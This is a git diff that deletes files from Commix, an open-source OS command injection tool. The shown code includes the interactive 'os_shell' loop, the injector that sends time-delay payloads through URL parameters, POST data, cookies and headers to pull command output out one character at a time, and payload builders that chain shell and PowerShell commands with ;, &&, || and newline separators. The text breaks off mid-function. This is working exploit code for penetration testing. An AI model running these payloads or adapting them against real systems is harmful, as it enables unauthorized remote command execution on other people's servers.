checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False - else: - settings.LOAD_SESSION = False - - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.TARGET_OS == "win": - time.sleep(1) - - new_line = False - # Check for any enumeration options. - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = True - break - elif enumerate_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - - # Check if defined single cmd. - if menu.options.os_cmd: - check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - # Delete previous shell (text) files (output) from temp. - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - logs.print_logs_notification(filename, url) - raise SystemExit() - - if settings.VERBOSITY_LEVEL != 0 or not new_line: - print(settings.SINGLE_WHITESPACE) - try: - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - false_positive_warning = False - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - print("\n" + settings.print_output(output) + "\n") - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return True - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - - else : - sys.stdout.write("\r") - sys.stdout.flush() - -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): - # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - settings.TIME_RELATIVE_ATTACK = True - - if tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response) == False: - settings.TIME_RELATIVE_ATTACK = False - settings.TEMPFILE_BASED_STATE = False - return False - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py deleted file mode 100755 index dcaba9fbe8..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ /dev/null @@ -1,565 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads - -""" -The "tempfile-based" injection technique on semiblind OS command injection. -__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else : - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - payload = payload.replace("#","%23") - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) - -""" -The main command injection exploitation. -""" -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - if menu.options.file_write or menu.options.file_upload : - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - for output_length in range(int(minlen), int(maxlen)): - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE + "'." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" - else: - info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - # Get the execution ouput, of shell execution. - if alter_shell : - payload = tfb_payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE +"'." - info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - else: - output.append(chr(ascii_char)) - injection_check = False - break - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - else: - check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - - check_how_long = 0 - output = "" - - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output - -""" -False Positive check and evaluation. -""" -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - - # Varying the sleep time. - timesec = timesec + random.randint(1, 5) - - # Checking the output length of the used payload. - for output_length in range(1, 3): - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - sys.stdout.flush() - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 9): - - # Get the execution ouput, of shell execution. - if alter_shell: - payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - return how_long, output - else: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - if not menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_info_msg(err_msg) + "\n") -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py deleted file mode 100755 index fa3611a052..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ /dev/null @@ -1,689 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import settings - -""" -The "tempfile-based" technique on Semiblind OS Command Injection. -The available "tempfile-based" payloads. -""" - -""" -Tempfile-based decision payload (check if host is vulnerable). -""" -def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - pipe = "|" - payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str} " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + - "sleep " + str(timesec) - ) - #if menu.options.data: - separator = _urllib.parse.unquote(separator) - - elif separator == "||" : - pipe = "|" - payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + - pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) - ) - else: - pass - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def decision_alter_shell(separator, j, TAG, 